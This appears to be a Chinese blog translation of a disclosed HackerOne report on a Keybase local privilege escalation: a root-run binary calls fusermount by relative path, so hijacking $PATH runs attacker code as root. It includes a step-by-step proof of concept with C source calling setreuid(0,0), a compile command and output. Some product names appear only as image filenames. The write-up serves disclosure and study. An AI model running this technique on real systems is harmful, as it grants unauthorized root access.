价值5000美金基于keybase缺陷的Linux提权漏洞

iso60001  1912天前

22.png

9.png是一个开源公钥库,用于提供端对端的加密的通讯协作服务。8.png是一个运行权限为root的二进制文件。而且8.png会使用相对路径调用fusermount命令,这其中就涉及到$PATH的值。作者经过研究发现,本地低权限用户可通过更改$PATH的值来诱导8.png以root权限执行攻击者自定义的恶意文件。

近期,hackerone公开了这个基于8.png的提权漏洞,发现者获得了5000美金的奖励。

环境

CentOS Linux release 7.4.1708 (Core)3.10.0-693.17.1.el7.x86_64

RPM info

Name        : keyba se
Version     : 2.8.0.20181017144746.3efc4cbf3c
Release     : 1
Architecture: x86_64
Install Date: Mon 22 Oct 2018 05:30:36 PM EDT
Group       : Unspecified
Size        : 273302678
License     : BSD
Signature   : RSA/SHA256, Wed 17 Oct 2018 10:55:21 AM EDT, Key ID 47484e50656d16c7
Source RPM  : keyba se-2.8.0.20181017144746.3efc4cbf3c-1.src.rpm
Build Date  : Wed 17 Oct 2018 10:54:47 AM EDT
Build Host  : 6ae61e160e87
Relocations : (not relocatable)
Summary     : Keyba se command line client
Desc ription :
Keyba se command line client

以上为具体系统信息和软件版本,这次演示使用了一个低权限用户user1

利用步骤

第一步,展示低权限用户user1

[user1@localhost woot]$ id
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

第二步,编写一个自定义创建文件的脚本fusermount.c。这个脚本将以root身份创建/w00t目录,当然它也可以行任意命令

cat >fusermount.c<<EOF
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv)
{
      setreuid(0,0);
      system("/usr/bin/touch /w00t");
      return(0);
}
EOF

第三步,编译fusermount.c,输出为fusermount二进制文件,恶意替代正常的fusermount命令

gcc -Wall fusermount.c -o fusermount

第四步,/w00t文件夹原先并不存在

[user1@localhost woot]$ ls -ld /w00t
ls: cannot access /w00t: No such file or directory

第五步,在path环境变量前面加上一个点(相当于当前目录),然后执行8.png,它就会以root权限执行恶意的fusermount二进制文件。 4.png

第六步,输入control+c,中断应用

3.png

第七步,现在/w00t文件夹已存在

[user1@localhost woot]$ ls -ld /w00t
-rw-rw-r--. 1 root user1 0 Oct 22 16:34 /w00t
[user1@localhost woot]$

影响

这个漏洞可非法提升攻击者权限到root,会影响系统的机密性、完整性和可用性。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://hackerone.com/reports/426944

最新评论

昵称
邮箱
提交评论